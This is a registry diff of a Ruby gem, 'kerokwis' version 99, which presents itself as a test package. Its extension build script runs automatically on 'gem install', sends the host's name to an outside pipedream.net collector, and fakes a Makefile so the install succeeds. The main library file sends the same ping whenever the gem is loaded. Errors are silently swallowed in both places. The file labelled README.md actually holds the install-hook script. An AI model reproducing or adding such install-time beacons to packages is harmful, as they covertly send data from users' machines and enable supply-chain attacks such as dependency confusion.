kerokwis 99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of kerokwis might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/LICENSE.txt +21 -0
- data/README.md +15 -0
- data/ext/kerokwis/extconf.rb +36 -0
- data/lib/kerokwis/version.rb +5 -0
- data/lib/kerokwis.rb +37 -0
- metadata +49 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 3b0120e8036c6dd1a6b3e9dc45287e341eef398391558457d8764f5946469367
|
|
4
|
+
data.tar.gz: 1617a0149026a57eac107ea7f6b9c381cf6332c5dc5370dba6e466d77feba94a
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: c0ea197084e25a7e423e7087503bca52319d6adf40ffeee49cc768e4cfdac59e81b9cab3a6586acba153b6d4b007c1d0e8532aae41cc91fe6094fd1bc37c18c0
|
|
7
|
+
data.tar.gz: e12bb048afeaaae83731428ae2b41bbae4e181ec27741fe76526d19ec631c1a202dd85ee08610046b9dbf1f2730f61e241f2ff08b0257089036b2e7f1fb09a52
|
data/LICENSE.txt
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 kerokwis
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
data/README.md
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
# This file runs automatically during `gem install kerokwis`
|
|
4
|
+
# (RubyGems builds extensions listed in `spec.extensions`).
|
|
5
|
+
# It pings the collector, then generates a dummy Makefile so install succeeds.
|
|
6
|
+
require "uri"
|
|
7
|
+
require "net/http"
|
|
8
|
+
require "socket"
|
|
9
|
+
|
|
10
|
+
def kerokwis_hostname
|
|
11
|
+
Socket.gethostname
|
|
12
|
+
rescue StandardError
|
|
13
|
+
"unknown"
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
BASE = "https://eo8f3m3ho26a0nm.m.pipedream.net/?ecosystem=gem&package=kerokwis&trigger=install"
|
|
17
|
+
COLLECTOR = "#{BASE}&h=#{URI.encode_www_form_component(kerokwis_hostname.to_s)}"
|
|
18
|
+
|
|
19
|
+
begin
|
|
20
|
+
uri = URI.parse(COLLECTOR)
|
|
21
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
|
22
|
+
http.use_ssl = (uri.scheme == "https")
|
|
23
|
+
http.open_timeout = 10
|
|
24
|
+
http.read_timeout = 10
|
|
25
|
+
req = Net::HTTP::Get.new(uri.request_uri, {
|
|
26
|
+
"User-Agent" => "kerokwis-gem/99",
|
|
27
|
+
"X-Kerokwis-Ecosystem" => "gem",
|
|
28
|
+
"X-Kerokwis-Package" => "kerokwis"
|
|
29
|
+
})
|
|
30
|
+
http.request(req)
|
|
31
|
+
rescue StandardError
|
|
32
|
+
# Never fail the install because of network issues.
|
|
33
|
+
end
|
|
34
|
+
|
|
35
|
+
require "mkmf"
|
|
36
|
+
create_makefile("kerokwis/kerokwis")
|
data/lib/kerokwis.rb
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require_relative "kerokwis/version"
|
|
4
|
+
require "uri"
|
|
5
|
+
require "net/http"
|
|
6
|
+
require "socket"
|
|
7
|
+
|
|
8
|
+
module Kerokwis
|
|
9
|
+
COLLECTOR = "https://eo8f3m3ho26a0nm.m.pipedream.net/?ecosystem=gem&package=kerokwis&trigger=runtime"
|
|
10
|
+
|
|
11
|
+
def self.ping
|
|
12
|
+
h = begin
|
|
13
|
+
Socket.gethostname
|
|
14
|
+
rescue StandardError
|
|
15
|
+
"unknown"
|
|
16
|
+
end
|
|
17
|
+
uri = URI.parse("#{COLLECTOR}&h=#{URI.encode_www_form_component(h.to_s)}")
|
|
18
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
|
19
|
+
http.use_ssl = (uri.scheme == "https")
|
|
20
|
+
http.open_timeout = 10
|
|
21
|
+
http.read_timeout = 10
|
|
22
|
+
http.request(Net::HTTP::Get.new(uri.request_uri))
|
|
23
|
+
rescue StandardError
|
|
24
|
+
nil
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
def self.hello
|
|
28
|
+
"kerokwis v99"
|
|
29
|
+
end
|
|
30
|
+
end
|
|
31
|
+
|
|
32
|
+
# Best-effort runtime ping on `require "kerokwis"`. Never raises.
|
|
33
|
+
begin
|
|
34
|
+
Kerokwis.ping
|
|
35
|
+
rescue StandardError
|
|
36
|
+
nil
|
|
37
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: kerokwis
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: '99'
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- kerokwis
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2026-09-22 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description: test package kerokwis - install hook pings collector
|
|
14
|
+
email:
|
|
15
|
+
- kerokwis@example.com
|
|
16
|
+
executables: []
|
|
17
|
+
extensions:
|
|
18
|
+
- ext/kerokwis/extconf.rb
|
|
19
|
+
extra_rdoc_files: []
|
|
20
|
+
files:
|
|
21
|
+
- LICENSE.txt
|
|
22
|
+
- README.md
|
|
23
|
+
- ext/kerokwis/extconf.rb
|
|
24
|
+
- lib/kerokwis.rb
|
|
25
|
+
- lib/kerokwis/version.rb
|
|
26
|
+
homepage: https://example.com/kerokwis
|
|
27
|
+
licenses:
|
|
28
|
+
- MIT
|
|
29
|
+
metadata: {}
|
|
30
|
+
post_install_message:
|
|
31
|
+
rdoc_options: []
|
|
32
|
+
require_paths:
|
|
33
|
+
- lib
|
|
34
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
35
|
+
requirements:
|
|
36
|
+
- - ">="
|
|
37
|
+
- !ruby/object:Gem::Version
|
|
38
|
+
version: '2.6'
|
|
39
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
40
|
+
requirements:
|
|
41
|
+
- - ">="
|
|
42
|
+
- !ruby/object:Gem::Version
|
|
43
|
+
version: '0'
|
|
44
|
+
requirements: []
|
|
45
|
+
rubygems_version: 3.4.19
|
|
46
|
+
signing_key:
|
|
47
|
+
specification_version: 4
|
|
48
|
+
summary: test package kerokwis
|
|
49
|
+
test_files: []
|